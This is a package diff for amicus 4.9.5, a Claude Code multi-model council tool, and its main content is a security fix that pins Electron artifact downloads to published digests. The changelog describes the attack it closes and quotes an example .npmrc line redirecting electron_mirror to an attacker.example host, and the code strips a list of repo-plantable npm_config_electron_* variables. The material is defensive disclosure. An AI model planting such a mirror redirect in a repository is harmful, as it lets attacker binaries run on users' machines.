amicus 4.9.4 → 4.9.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amicus",
3
- "version": "4.9.4",
3
+ "version": "4.9.5",
4
4
  "description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
5
5
  "author": {
6
6
  "name": "Christian Wagner"
package/CHANGELOG.md CHANGED
@@ -3,6 +3,88 @@
3
3
  All notable changes to Amicus are documented here. Format follows
4
4
  [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow semver.
5
5
 
6
+ ## [4.9.5] - 2026-09-07
7
+
8
+ *A repository you cloned could choose which bytes became your Electron.*
9
+
10
+ npm exports an `.npmrc` key it does not recognise to every child process it spawns, so a repository
11
+ containing one line — `electron_mirror=http://attacker.example/evil/` — reaches `npx -y amicus@latest`
12
+ as `npm_config_electron_mirror`. `@electron/get` reads that name **above** its own default
13
+ (`artifact-utils.js`), and validates the download against a `SHASUMS256.txt` fetched from the *same*
14
+ redirected host, so the checksum verified the attacker's file against the attacker's checksum. Amicus
15
+ passed no digest of its own. Amicus's own skills, troubleshooting page and Claude Code registration
16
+ all invoke it as `npx -y amicus@latest`, whose npm prefix is whatever directory you are sitting in.
17
+ Amicus then launches the extracted binary for the GUI. Every link was measured, end to end.
18
+
19
+ ### Security
20
+
21
+ - **The Electron artifact is now pinned to the digest Electron publishes, on both routes (#236).**
22
+ Four controls, each independently testable:
23
+ - **The download carries `checksums`**, read from `checksums.json` inside the Electron npm package —
24
+ the same anchor Electron's own installer uses. With a digest supplied, `@electron/get` writes a
25
+ **local** `SHASUMS256.txt` and never fetches one, so a redirected mirror can still serve bytes but
26
+ they must match what Electron published. This is the control that breaks the chain.
27
+ - **A cached artifact is hashed before it is extracted.** That route runs *first* — on every
28
+ `npm install -g amicus`, on first GUI use, and on `doctor --fix` — and previously accepted any
29
+ file with the right name from any subdirectory of a cache root, with no verification of any kind.
30
+ A mismatch is refused and the file removed; the removal is fenced through the repo's own realpath
31
+ fence and a basename check, so it is strictly narrower than the unconditional delete it replaces.
32
+ - **The Electron installer's environment is scrubbed.** The last-resort path spawns Electron's own
33
+ `install.js`, which honours the mirror *and* a remote-checksum override; without this, pinning the
34
+ in-process download would merely have funnelled an attacker into an unpinned downloader. Every
35
+ repo-plantable `npm_config_electron_*` / `npm_package_config_electron_*` name is removed —
36
+ case-insensitively, because a repo `package.json` `config` key reaches the child with its case
37
+ preserved — along with `npm_config_platform` and `npm_config_arch`, which choose *which* artifact
38
+ that installer fetches. `ELECTRON_INSTALL_PLATFORM` / `_ARCH` are pinned to amicus's own resolution.
39
+ - **An archive refused for path traversal is terminal.** `robustExtract` treated extract-zip's own
40
+ "invalid relative path" / "absolute path" refusals exactly like a stall: clean the directory and
41
+ re-run the same archive through an OS extractor amicus does not control. Such a refusal now throws
42
+ `UNZIP_UNSAFE_ARCHIVE`, is not retried at either call site, and the file is kept as evidence rather
43
+ than deleted. A **stall** still falls back — that fallback is the Node-24 workaround this module
44
+ exists for, and a test pins the distinction.
45
+
46
+ The digest anchor is read from the **running amicus's own** Electron package in preference to the
47
+ directory being repaired. That is load-bearing rather than tidy: `doctor --fix` hands the repair a
48
+ directory found by scanning npx caches, and reading the digest out of the same directory the bytes
49
+ came from would have let it vouch for itself — measured, before the fix, as `repaired: true` over
50
+ bytes reading `POISONED-BYTES`.
51
+
52
+ One documented escape hatch, `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1`, exists for the one legitimate
53
+ case (you deliberately run a rebuilt Electron). It is a bare environment name, which a repository
54
+ cannot plant; it accepts a contradicting cached artifact and drops the pin on a download; it
55
+ re-enables nothing else. Bare `ELECTRON_MIRROR` stays honoured — that spelling is not
56
+ repo-injectable, so it carries the machine owner's intent, and the digest is enforced either way.
57
+
58
+ - **What this does NOT close, stated plainly.** `registry=` in a hostile `.npmrc` dominates every
59
+ control above: under `npx`, amicus itself, the Electron tarball and its `checksums.json` would all
60
+ come from the attacker, and the pin would then faithfully vouch for attacker bytes. Electron's own
61
+ npm postinstall runs with the hostile environment live, before any amicus code executes. Nothing
62
+ verifies `dist/electron.exe` at launch — this closes acquisition, not custody. Extraction output is
63
+ still not fenced, and the extractor still reports success when any file lands. And where **no**
64
+ published digest covers an artifact — an Electron package with no `checksums.json`, or one whose own
65
+ metadata names a version amicus holds no entry for — there is nothing to contradict: those bytes are
66
+ extracted and marked `unverified` rather than refused, because refusing would strand every older
67
+ Electron in a re-download loop. Run `npx -y amicus@latest` from a directory you trust.
68
+
69
+ ### Fixed
70
+
71
+ - **Three advisories that reached the published dependency tree.** `fast-uri` (two high, SSRF) via
72
+ `@modelcontextprotocol/sdk` → `ajv`, and `qs` (moderate) via the same SDK → `express`. Fixed by a
73
+ targeted update of exactly those two packages and their own closure — five lockfile entries — rather
74
+ than `npm audit fix`, which wanted to move 31 packages, almost all of them puppeteer's dev tree
75
+ including a major. `extract-zip`, the remaining production-tree advisory, has no fixed version at
76
+ any release and is addressed by the trust work above instead of by a bump.
77
+ - **Two records that asserted things that were not true.** The released 4.9.4 notes said "Twenty-four
78
+ probe rows" and "the full 61-case matrix", both stale at the tag — M23 joined the M group during
79
+ council #235 round 3 without the matrix being re-run, so the group is twenty-five rows and the filed
80
+ matrix is 62 cases, which the BACKLOG already said while the CHANGELOG contradicted it. And the
81
+ backlog's own audit filing recorded `extract-zip` as dev-only "via puppeteer"; it is a direct
82
+ production dependency, and calling it dev-only is exactly the reasoning that would have let it sit.
83
+ - **`docs/ROADMAP.md`'s status lines are now pinned in the release commit.** They ship in the npm
84
+ tarball and they are a factual claim about the current version, but they were updated in the
85
+ post-ship pass, which runs *after* the tag — so every published package has named the previous
86
+ release. `v4.9.4`'s roadmap says "v4.9.3"; `v4.9.3`'s says "v4.9.0". Verified across three tags.
87
+
6
88
  ## [4.9.4] - 2026-09-07
7
89
 
8
90
  *The effort level was never on the wire, and the budget stopped at the routes the catalog could clamp.*
@@ -125,9 +207,9 @@ provider, so the pinned engine's outbound fields can be read under each shape Am
125
207
  error, a dead engine) sends the level unverified after ONE read, and the log line says so. `max`
126
208
  joins the vocabulary (`none`, `minimal`, `low`, `medium`, `high`, `xhigh`, `max` — the levels the
127
209
  curated routes declare between them, M0). The level SENT rides the run document (`variant`), the
128
- spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-four probe
129
- rows (M0–M17 and M22, plus M18M21 through amicus's own `sendPrompt`) measured every shape this
130
- ships — the full 61-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
210
+ spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-five probe
211
+ rows (the M group; M18-M21 driven through amicus's own `sendPrompt`) measured every shape this
212
+ ships — the full 62-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
131
213
  M2, M10b and M17. Council seats have no effort knob in this release (filed as the owner's
132
214
  decision).
133
215
 
package/README.md CHANGED
@@ -455,7 +455,7 @@ $ amicus status demo123 --json
455
455
  "taskId": "demo123",
456
456
  "status": "complete",
457
457
  "elapsed": "5m 0s",
458
- "version": "4.9.4",
458
+ "version": "4.9.5",
459
459
  "model": "google/gemini-2.5-flash",
460
460
  "phase": "terminal"
461
461
  }
package/docs/ROADMAP.md CHANGED
@@ -13,11 +13,13 @@ lives under **Backlog (tracked, not scheduled)** with everything else that is re
13
13
  Nothing about the content changed and no judgment about its value is implied; only its status. When
14
14
  an org buyer and the org to support them exist, it earns a number then.
15
15
 
16
- Amicus is at **v4.9.3** (2026-08-28). Each 4.x rev below leads with the benefit, not the
17
- plumbing; the patch releases since v4.9.0 carry no section of their own, because they fixed
18
- defects rather than adding scope — see `CHANGELOG.md` for what each one contained.
16
+ Amicus is at **v4.9.5** (2026-09-07). Each 4.x rev below leads with the benefit, not the
17
+ plumbing; the patch releases since v4.9.0 carry no section of their own, because each corrected a
18
+ defect rather than adding scope — where one added a surface (v4.9.4's `--thinking` refusals and
19
+ `output-budget` doctor row, v4.9.5's Electron digest gate) it did so to make an existing promise
20
+ true, not to widen it. See `CHANGELOG.md` for what each one contained.
19
21
 
20
- **Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.3 patch releases —
22
+ **Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.5 patch releases —
21
23
  everything on this page is a record of what landed, not a plan. Composition — the scope that
22
24
  carried the number v4.6 here until the degrade-announcement-invariant milestone took the v4.6.0
23
25
  release (2026-08-02) — is now an unscheduled candidate for the next rev, tabled in its own section
@@ -112,8 +112,10 @@ src/
112
112
  │ ├── electron-ensure.js # ensureElectron() — lazy first-GUI provisioning (#55).
113
113
  │ ├── electron-install.js # Electron self-heal primitive (#53, #59).
114
114
  │ ├── electron-lock.js # Stale-aware single-flight lock for the electron self-heal (#53).
115
+ │ ├── electron-provision.js # Electron CONTROLLED provision — the pinned download, and what happens to a
115
116
  │ ├── electron-quarantine.js # AV / antivirus quarantine detection for the electron self-heal (#53).
116
117
  │ ├── electron-state.js # Electron install-state probes (#76).
118
+ │ ├── electron-trust.js # Electron artifact TRUST core — the digest anchor, the gate, and the env scrub.
117
119
  │ ├── fallback-chains.js
118
120
  │ ├── fanout-budget.js
119
121
  │ ├── fanout-leg-fallback.js
@@ -552,8 +554,10 @@ evals/
552
554
  | `sidecar/electron-ensure.js` | ensureElectron() — lazy first-GUI provisioning (#55). | `ensureElectron()`, `_resetEnsureElectron()` |
553
555
  | `sidecar/electron-install.js` | Electron self-heal primitive (#53, #59). | `resolveElectronBinary()`, `isElectronUsable()`, `cachedZip()`, `repairElectron()`, `platformExe()` |
554
556
  | `sidecar/electron-lock.js` | Stale-aware single-flight lock for the electron self-heal (#53). | `acquireRepairLock()`, `isStaleLock()`, `lockPathFor()`, `STALE_MS()` |
557
+ | `sidecar/electron-provision.js` | Electron CONTROLLED provision — the pinned download, and what happens to a | `cacheRootFor()`, `controlledProvision()`, `mayDeleteRejectedZip()`, `rejectCachedZip()`, `isUnsafeArchive()` |
555
558
  | `sidecar/electron-quarantine.js` | AV / antivirus quarantine detection for the electron self-heal (#53). | `avHint()`, `quarantineReason()`, `verifyExtractOutcome()` |
556
559
  | `sidecar/electron-state.js` | Electron install-state probes (#76). | `electronDirFor()`, `probeElectronState()` |
560
+ | `sidecar/electron-trust.js` | Electron artifact TRUST core — the digest anchor, the gate, and the env scrub. | `electronTrustPolicy()`, `resolveAnchor()`, `expectedDigest()`, `verifyArtifact()`, `sha256File()` |
557
561
  | `sidecar/fallback-chains.js` | | `resolveFallbackConfig()`, `deriveChain()`, `vendorOf()`, `DEFAULT_MAX_SUBSTITUTIONS()` |
558
562
  | `sidecar/fanout-budget.js` | | `preflightBudget()` |
559
563
  | `sidecar/fanout-leg-fallback.js` | | `runLegWithFallback()`, `recordAttemptSpend()`, `sumAttemptUsage()` |
@@ -343,6 +343,23 @@ These variables control the polling loop that drives headless sessions. The defa
343
343
  | `AMICUS_GUI_LOAD_TIMEOUT_MS` | Maximum wait in milliseconds for the Electron UI to load before the load-failsafe fires. If the OpenCode web UI fails to respond within this window, Amicus shows a load-error page instead of hanging invisibly. | `15000` |
344
344
  | `AMICUS_DEBUG_PORT` | Chrome DevTools Protocol port for the Electron window. Increment (e.g. `9223`) to avoid conflicts with a running Chrome or another Amicus window. | `9222` |
345
345
  | `AMICUS_MOCK_UPDATE` | Mock the update-notification state for UI development. Values: `available` \| `updating` \| `success` \| `error`. Has no effect outside development. | *(unset)* |
346
+ | `AMICUS_ALLOW_UNVERIFIED_ELECTRON` | Accept an Electron artifact whose sha256 does **not** match the digest Electron publishes for it, with a loud warning on every use instead of a refusal. On a **cached** artifact it downgrades the refusal to a warning; on a **download** it also drops the published-digest pin, so `@electron/get` falls back to the `SHASUMS256.txt` of whatever mirror you pointed it at — without that, a legitimately rebuilt Electron could never be fetched at all, only accepted if it was already in a cache root. For one case only: you deliberately run a **rebuilt** Electron whose bytes legitimately differ. True for the exact string `1` — `true`, `yes` and ` 1` are all false, because a hatch that fails open on a typo is not a hatch. | *(unset)* |
347
+
348
+ > **What `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not do.** It does not re-enable
349
+ > anything else. `npm_config_electron_mirror`, `npm_package_config_electron_*`,
350
+ > `npm_config_electron_use_remote_checksums`, `npm_config_platform` and
351
+ > `npm_config_arch` stay stripped from the Electron installer's environment
352
+ > whether it is set or not — those are the names a *repository* can plant in a
353
+ > child process through its own `.npmrc` or `package.json`, which is why this
354
+ > variable is a plain environment variable read under that exact bare spelling
355
+ > only: a repo-planted `npm_config_amicus_allow_unverified_electron` reads back
356
+ > as unset. It also does not change where the download comes from — a real
357
+ > `ELECTRON_MIRROR` environment variable is honoured exactly as before, set or
358
+ > unset. What it *does* relax, deliberately and on both routes, is the digest:
359
+ > with it set, a cached artifact that contradicts Electron's published sha256 is
360
+ > accepted with a warning, and a download is no longer pinned to that sha256
361
+ > (`@electron/get` then trusts the `SHASUMS256.txt` served alongside the artifact).
362
+ > Leave it unset and the published digest is enforced on both routes.
346
363
 
347
364
  ---
348
365
 
@@ -396,6 +396,43 @@ unverified, with `variantUnverified: true` on the leg document.
396
396
  - **Manual install (most reliable):** on a machine/network with direct access, run any `amicus start` once to populate the Electron cache, then copy the cache directory to the target machine — `%LOCALAPPDATA%\electron\Cache` (Windows), `~/Library/Caches/electron` (macOS), `$XDG_CACHE_HOME/electron` or `~/.cache/electron` (Linux). Amicus reuses a valid cached binary without re-downloading.
397
397
  - **Point at your own mirror:** set `ELECTRON_MIRROR` (and `ELECTRON_CUSTOM_DIR` if needed) to an internal Electron mirror that is reachable without a proxy.
398
398
  - Headless runs and the full council never need Electron — use `--no-ui` if the GUI is not required.
399
+ - Run `npx -y amicus@latest` from a directory you trust. `npx` inherits the `.npmrc` and `package.json` of whatever directory you are standing in, so an untrusted clone can point package downloads at a host of its choosing.
400
+
401
+ ---
402
+
403
+ ## Electron Artifact REFUSED (digest mismatch)
404
+
405
+ **Symptom:** provisioning stops and stderr carries a block like:
406
+
407
+ ```
408
+ [amicus] Electron artifact REFUSED: electron-v43.1.1-win32-x64.zip
409
+ [amicus] C:\Users\me\AppData\Local\electron\Cache\<sha>\electron-v43.1.1-win32-x64.zip
410
+ [amicus] sha256 3f2a... does not match the published b4e9...
411
+ [amicus] This is what a swapped mirror or a planted cache file looks like. It is ALSO
412
+ [amicus] what a truncated download, a failing disk, or a mirror serving a REBUILT
413
+ [amicus] electron looks like — amicus cannot tell them apart.
414
+ [amicus] If you deliberately run a REBUILT electron, set
415
+ [amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 BEFORE provisioning again — ...
416
+ [amicus] The file has been removed: re-copy it from the machine that downloaded it ...
417
+ ```
418
+
419
+ The refused bytes are never extracted, so no Electron is installed *from them*. What you see afterwards depends on which path hit the refusal:
420
+
421
+ - **`npm install` (offline by design)** repeats the refusal reason in its notice and stops there — it never downloads.
422
+ - **`amicus doctor --fix` and first GUI use** re-download the artifact with the digest pinned, so a one-off bad file self-heals and is reported as installed. Only when that retry cannot rescue it — no network, or the fresh download fails too — does `doctor` repeat the refusal reason instead of its generic "not provisioned".
423
+
424
+ **Cause:** the bytes do not match the sha256 Electron itself publishes for that artifact (`node_modules/electron/checksums.json`). Amicus hashes a cached zip **before** extracting it, and pins the digest on the download, so bytes that *contradict* a published digest never become an Electron install. Where no published digest covers the artifact at all — an Electron package that ships no `checksums.json`, or one whose own `package.json` names a version amicus holds no entry for — there is nothing to contradict: those bytes are extracted and the outcome is marked `unverified` rather than refused, because refusing would strand every older Electron in a re-download loop. The gate is an integrity check against a digest amicus can obtain, not a promise that every artifact was vouched for.
425
+
426
+ That is what a swapped mirror or a planted cache file looks like. It is **also** what a truncated download, a failing disk, or a corporate mirror serving a *rebuilt* Electron looks like — amicus cannot tell them apart, and says so rather than guessing.
427
+
428
+ **Fix:**
429
+ - **Let it retry.** Online, amicus removes the offending cache entry — only when its filename and its resolved location both say it really is that cache entry — and downloads again with the digest pinned. A one-off truncated download heals itself.
430
+ - **Air-gapped / hand-seeded cache:** the refused file is deleted, so re-copy the cache directory from the machine that downloaded it. A partial copy is the usual cause. If the bytes are deliberately different (below), set the variable *before* you re-copy — the next refusal would remove the fresh copy too.
431
+ - **You deliberately run a rebuilt Electron:** set `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` (see [configuration.md](./configuration.md#gui-and-debug)). It accepts a cached artifact that contradicts the published digest, and drops the digest pin on a download so a rebuilt artifact can be fetched from your own `ELECTRON_MIRROR` at all. It re-enables nothing else: the Electron installer's environment stays scrubbed of every `npm_config_electron_*` / `npm_package_config_electron_*` name either way.
432
+ - **Otherwise treat it as real.** Check what `ELECTRON_MIRROR` is set to, and whether the directory you ran `npx -y amicus@latest` in is one you trust.
433
+ - Headless runs and the full council work without the GUI in every one of these cases.
434
+
435
+ **A second, rarer refusal:** `Electron artifact REFUSED (unsafe archive)` means entries inside the zip tried to write *outside* the destination directory. That one is terminal by design — amicus does not retry it with a different extractor, does not delete the file (it is the evidence), and `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not apply to it. Report the mirror or cache the archive came from.
399
436
 
400
437
  ---
401
438
 
package/docs/usage.md CHANGED
@@ -540,7 +540,7 @@ $ amicus status demo123 --json
540
540
  "taskId": "demo123",
541
541
  "status": "complete",
542
542
  "elapsed": "5m 0s",
543
- "version": "4.9.4",
543
+ "version": "4.9.5",
544
544
  "model": "google/gemini-2.5-flash",
545
545
  "phase": "terminal"
546
546
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amicus",
3
- "version": "4.9.4",
3
+ "version": "4.9.5",
4
4
  "mcpName": "io.github.BourbonDog/amicus",
5
5
  "description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
6
6
  "keywords": [
@@ -89,6 +89,10 @@ async function provisionElectron(deps = {}) {
89
89
  console.warn('[amicus] Headless runs and the council already work without the GUI.');
90
90
  return;
91
91
  }
92
+ // A trust REFUSAL is not the same as "no cache yet": the artifact was found,
93
+ // hashed, and rejected. One line, so the reason is not lost behind the generic
94
+ // notice below (docs/troubleshooting.md promises this line).
95
+ if (result && result.integrity) { console.warn(`[amicus] Note: ${result.reason}`); }
92
96
  // No cache hit (deferred), contended, or otherwise not provisioned now.
93
97
  console.warn('[amicus] Note: the Electron GUI binary is not provisioned yet — it will download on first use of the interactive GUI / setup-wizard.');
94
98
  console.warn(`[amicus] Headless runs and the council already work. To provision the GUI now: ${HINTS.doctorFix}`);
@@ -1,21 +1,18 @@
1
1
  /**
2
2
  * Electron self-heal primitive (#53, #59).
3
3
  *
4
- * Electron is an optionalDependency (^28.0.0). A flaky / interrupted extract
5
- * or Windows Defender quarantining electron.exe — can leave the package's
6
- * path.txt on disk while dist/<exe> is MISSING, so the GUI silently fails.
4
+ * Electron is an optionalDependency (^28.0.0). A flaky / interrupted extract
5
+ * or Windows Defender quarantining electron.exe — can leave the package's
6
+ * path.txt on disk while dist/<exe> is MISSING, so the GUI silently fails. This
7
+ * module is the keystone the rest of the self-heal cluster (#54-#57) imports; it
8
+ * wires itself into no caller, and everything that downloads, extracts, spawns or
9
+ * locks is dependency-INJECTABLE so tests never hit the network or extract a real
10
+ * binary.
7
11
  *
8
- * This module is the keystone the rest of the self-heal cluster (#54-#57)
9
- * imports. It does NOT wire itself into any caller. Everything that downloads,
10
- * extracts, spawns, or locks is dependency-INJECTABLE so tests never hit the
11
- * network or extract a real binary.
12
- *
13
- * Layout reference (npm `electron` package):
14
- * node_modules/electron/path.txt -> "electron.exe" (the exe basename)
15
- * node_modules/electron/dist/<exe> -> the actual binary
16
- * #59: when ELECTRON_OVERRIDE_DIST_PATH is set, the exe lives in that dir
17
- * instead of <pkg>/dist (mirrors electron/index.js + install.js semantics).
18
- * Cache layout (@electron/get): <cacheRoot>/<sha256>/electron-v<ver>-<platform>-<arch>.zip
12
+ * Layout (npm `electron`): path.txt -> the exe basename, dist/<exe> -> the binary.
13
+ * #59: ELECTRON_OVERRIDE_DIST_PATH moves the exe to <override>/<exe> (mirrors
14
+ * electron/index.js + install.js semantics). Cache layout (@electron/get):
15
+ * <cacheRoot>/<sha256>/electron-v<ver>-<platform>-<arch>.zip
19
16
  */
20
17
 
21
18
  'use strict';
@@ -27,6 +24,8 @@ const { spawnSync } = require('child_process');
27
24
  const { resolveCacheRoots } = require('./electron-cache');
28
25
  const { avHint, verifyExtractOutcome: verifyQuarantine } = require('./electron-quarantine');
29
26
  const { acquireRepairLock } = require('./electron-lock');
27
+ const { controlledProvision, isUnsafeArchive, refuseUnsafeArchive, rejectCachedZip } = require('./electron-provision');
28
+ const { artifactFileName, electronTrustPolicy, resolveAnchor, scrubbedChildEnv, verifyArtifact } = require('./electron-trust');
30
29
  const { robustExtract } = require('./unzip');
31
30
 
32
31
  /** Self-heal progress line to stderr (visible during first-GUI provision). */
@@ -134,32 +133,6 @@ async function extractFromCache({ zip, electronDir, platform, extract, fs }) {
134
133
  writePathTxt({ electronDir, platform, fs });
135
134
  }
136
135
 
137
- /** Best-effort cache root for downloadArtifact (first resolved root). */
138
- function cacheRootFor(env = process.env) {
139
- return resolveCacheRoots(env)[0];
140
- }
141
-
142
- /**
143
- * CONTROLLED provision: fetch the zip ourselves with the SAME @electron/get
144
- * api install.js uses (downloadArtifact, force:true), extract offline, and let
145
- * the caller verify isElectronUsable(). No blind install.js spawn.
146
- * @returns {Promise<void>}
147
- */
148
- async function controlledProvision({
149
- electronDir, platform, arch, version, downloadArtifact, extract, fs, env = process.env, downloadMs = 480000,
150
- }) {
151
- const zip = await downloadArtifact({
152
- version,
153
- artifactName: 'electron',
154
- force: true,
155
- cacheRoot: cacheRootFor(env),
156
- platform,
157
- arch,
158
- downloadOptions: { signal: AbortSignal.timeout(downloadMs) }, // 5.x native fetch: bound stalled downloads, free the lock
159
- });
160
- await extractFromCache({ zip, electronDir, platform, extract, fs });
161
- }
162
-
163
136
  /** Bind the fs-aware probes for the post-extract AV-quarantine verify. */
164
137
  function verifyExtractOutcome({ electronDir, platform, fs }) {
165
138
  return verifyQuarantine({
@@ -169,10 +142,16 @@ function verifyExtractOutcome({ electronDir, platform, fs }) {
169
142
  });
170
143
  }
171
144
 
172
- /** Drive electron's own install.js with force_no_cache semantics. */
173
- function runInstaller({ electronDir, force, spawn }) {
145
+ /**
146
+ * Drive electron's own install.js with force_no_cache semantics. C3: the spawn env
147
+ * is SCRUBBED — install.js honours `npm_config_electron_mirror` AND
148
+ * `npm_config_electron_use_remote_checksums` (which turns its own bundled pin off),
149
+ * so `{...process.env}` here would funnel a blocked attacker into an unpinned
150
+ * downloader and undo the pin on the route above.
151
+ */
152
+ function runInstaller({ electronDir, force, spawn, platform, arch }) {
174
153
  const installScript = path.join(electronDir, 'install.js');
175
- const env = { ...process.env };
154
+ const env = scrubbedChildEnv({ env: process.env, platform, arch });
176
155
  if (force) {
177
156
  env.force_no_cache = 'true';
178
157
  }
@@ -187,7 +166,8 @@ function runInstaller({ electronDir, force, spawn }) {
187
166
  * {deferred,reason} when there is no cached zip.
188
167
  * @param {boolean} [opts.force] force a fresh (no-cache) installer download.
189
168
  * @param {number} [opts.timeoutMs] best-effort installer timeout.
190
- * @param {object} [opts.deps] injected { cachedZip, extract, spawn, acquireLock, fs }.
169
+ * @param {object} [opts.deps] injected { cachedZip, extract, spawn, acquireLock, fs,
170
+ * selfElectronDir } — the last pins the digest anchor's top rung (null disables it).
191
171
  * @returns {Promise<{repaired?:boolean, deferred?:boolean, contended?:boolean, reason?:string}>}
192
172
  */
193
173
  async function repairElectron({
@@ -204,9 +184,8 @@ async function repairElectron({
204
184
  // Default extract: extract-zip bounded (idle/max) + native-unzip fallback (extract-zip-node24 stall).
205
185
  const extract = deps.extract
206
186
  || ((zipPath, o) => robustExtract(zipPath, { ...o, platform, deps: { fs, log: stderrLog } }));
207
- // Default-bound the last-resort installer spawn (8 min) so a first-GUI-use
208
- // provision that reaches runInstaller without an explicit timeoutMs can't hang
209
- // the holder — the caller's timeoutMs still wins when provided.
187
+ // Default-bound (8 min) so a first-GUI-use provision that reaches runInstaller
188
+ // without an explicit timeoutMs can't hang the holder; caller's value wins.
210
189
  const spawn = deps.spawn || ((cmd, args, o) => spawnSync(cmd, args, { ...o, timeout: timeoutMs || 480000 }));
211
190
  const findZip = deps.cachedZip || ((o) => cachedZip(o));
212
191
  const acquireLock = deps.acquireLock || ((o) => acquireRepairLock({ ...o, fs }));
@@ -217,13 +196,17 @@ async function repairElectron({
217
196
  : async () => (await import('@electron/get')).downloadArtifact;
218
197
 
219
198
  if (!version) {
220
- try {
221
- version = require(path.join(electronDir, 'package.json')).version;
222
- } catch {
223
- version = undefined;
224
- }
199
+ try { version = require(path.join(electronDir, 'package.json')).version; } catch { version = undefined; }
225
200
  }
226
201
 
202
+ // The digest anchor and the trust policy, resolved ONCE for both routes. NOTE
203
+ // `version` is deliberately NOT passed to resolveAnchor: it may have just been
204
+ // read out of electronDir's own package.json above, and letting an untrusted
205
+ // directory pick which anchor judges its bytes is the ANCHORFROMTARGET hole.
206
+ const fileName = artifactFileName({ version, platform, arch });
207
+ const policy = electronTrustPolicy(process.env);
208
+ const anchor = resolveAnchor({ electronDir, fs, selfElectronDir: deps.selfElectronDir });
209
+
227
210
  // Single-flight: bail out gracefully if another caller is already repairing.
228
211
  let lock;
229
212
  try {
@@ -235,55 +218,72 @@ async function repairElectron({
235
218
  throw e;
236
219
  }
237
220
 
221
+ let refusal = null; // a cache refusal the caller must still hear about if the download also fails
238
222
  try {
239
223
  // Attempt 1: extract from cache (always preferred, fully offline).
240
224
  const zip = findZip({ version, platform, arch, env: process.env, fs });
241
225
  if (zip) {
242
- try {
243
- await extractFromCache({ zip, electronDir, platform, extract, fs });
244
- // Non-throwing extract w/ absent exe = the AV-quarantine signature.
245
- return verifyExtractOutcome({ electronDir, platform, fs });
246
- } catch (extractErr) {
247
- // Corrupt cached artifact: delete the bad zip so it can't poison the
248
- // cache, then fall through to a forced fresh download (unless offline).
249
- try { fs.rmSync(zip, { force: true }); } catch { /* ignore */ }
250
- if (cacheOnly) {
251
- return {
252
- repaired: false,
253
- reason: `Cached electron zip for v${version} (${platform}-${arch}) was corrupt and removed; deferring re-download.${avHint(platform)}`,
254
- };
255
- }
226
+ // C2: anything that can write the cache dir can swap these bytes, so HASH
227
+ // BEFORE EXTRACT — extractFromCache must be unreachable for an artifact the
228
+ // anchor contradicts. A missing anchor is NOT a refusal (see verifyArtifact).
229
+ const gate = verifyArtifact({ zip, anchor, fileName, policy, fs, log: stderrLog });
230
+ if (!gate.allowed) {
231
+ refusal = rejectCachedZip({ gate, zip, fileName, env: process.env, fs, log: stderrLog });
232
+ if (cacheOnly) { return refusal; }
256
233
  // else: drop into the controlled download below.
234
+ } else {
235
+ try {
236
+ await extractFromCache({ zip, electronDir, platform, extract, fs });
237
+ // Non-throwing extract w/ absent exe = the AV-quarantine signature.
238
+ const outcome = verifyExtractOutcome({ electronDir, platform, fs });
239
+ return gate.verdict === 'no-digest' ? { ...outcome, unverified: true } : outcome;
240
+ } catch (extractErr) {
241
+ // C4 IS A CALL-SITE INVARIANT. A path-traversal refusal must not be
242
+ // deleted-and-retried, nor reported as "corrupt" — it stops here.
243
+ if (isUnsafeArchive(extractErr)) { return refuseUnsafeArchive({ err: extractErr, fileName, log: stderrLog }); }
244
+ // Corrupt cached artifact: delete the bad zip so it can't poison the
245
+ // cache, then fall through to a forced fresh download (unless offline).
246
+ try { fs.rmSync(zip, { force: true }); } catch { /* ignore */ }
247
+ if (cacheOnly) {
248
+ return { repaired: false, reason: `Cached electron zip for v${version} (${platform}-${arch}) was corrupt and removed; deferring re-download.${avHint(platform)}` };
249
+ }
250
+ // else: drop into the controlled download below.
251
+ }
257
252
  }
258
253
  } else if (cacheOnly) {
259
- return {
260
- deferred: true,
261
- reason: `No cached electron zip found for v${version} (${platform}-${arch}); deferring download.${avHint(platform)}`,
262
- };
254
+ return { deferred: true, reason: `No cached electron zip found for v${version} (${platform}-${arch}); deferring download.${avHint(platform)}` };
263
255
  }
264
256
 
265
- // Attempt 2 (online): CONTROLLED download+extract instead of a blind
266
- // install.js spawn — fetch via the SAME @electron/get api install.js uses,
267
- // extract offline, then report the REAL usability. A structurally-successful
268
- // download that produced no usable exe is a FAILURE (no false success; #53).
257
+ // Attempt 2 (online): CONTROLLED download+extract instead of a blind install.js
258
+ // spawn — the SAME @electron/get api install.js uses, extracted offline, then the
259
+ // REAL usability reported. A download that produced no usable exe is a FAILURE (#53).
269
260
  let controlledExtracted = false;
270
261
  try {
271
262
  const downloadArtifact = await resolveDownloadArtifact();
272
263
  await controlledProvision({
273
- electronDir, platform, arch, version, downloadArtifact, extract, fs, env: process.env, downloadMs: timeoutMs,
264
+ electronDir, platform, arch, version, anchor, downloadArtifact, extract, extractFromCache,
265
+ fs, env: process.env, downloadMs: timeoutMs, policy, log: stderrLog,
274
266
  });
275
267
  controlledExtracted = true; // download + extract returned without throwing
276
- } catch {
268
+ } catch (provisionErr) {
269
+ // C4 again: an unsafe archive here must NOT reach runInstaller, which would
270
+ // re-download and re-extract it through an extractor amicus does not drive.
271
+ if (isUnsafeArchive(provisionErr)) { return refuseUnsafeArchive({ err: provisionErr, fileName, log: stderrLog }); }
277
272
  // Controlled download/extract failed (network, checksum, unzip). Try the
278
273
  // installer as a LAST resort — it can NEVER short-circuit the honest
279
274
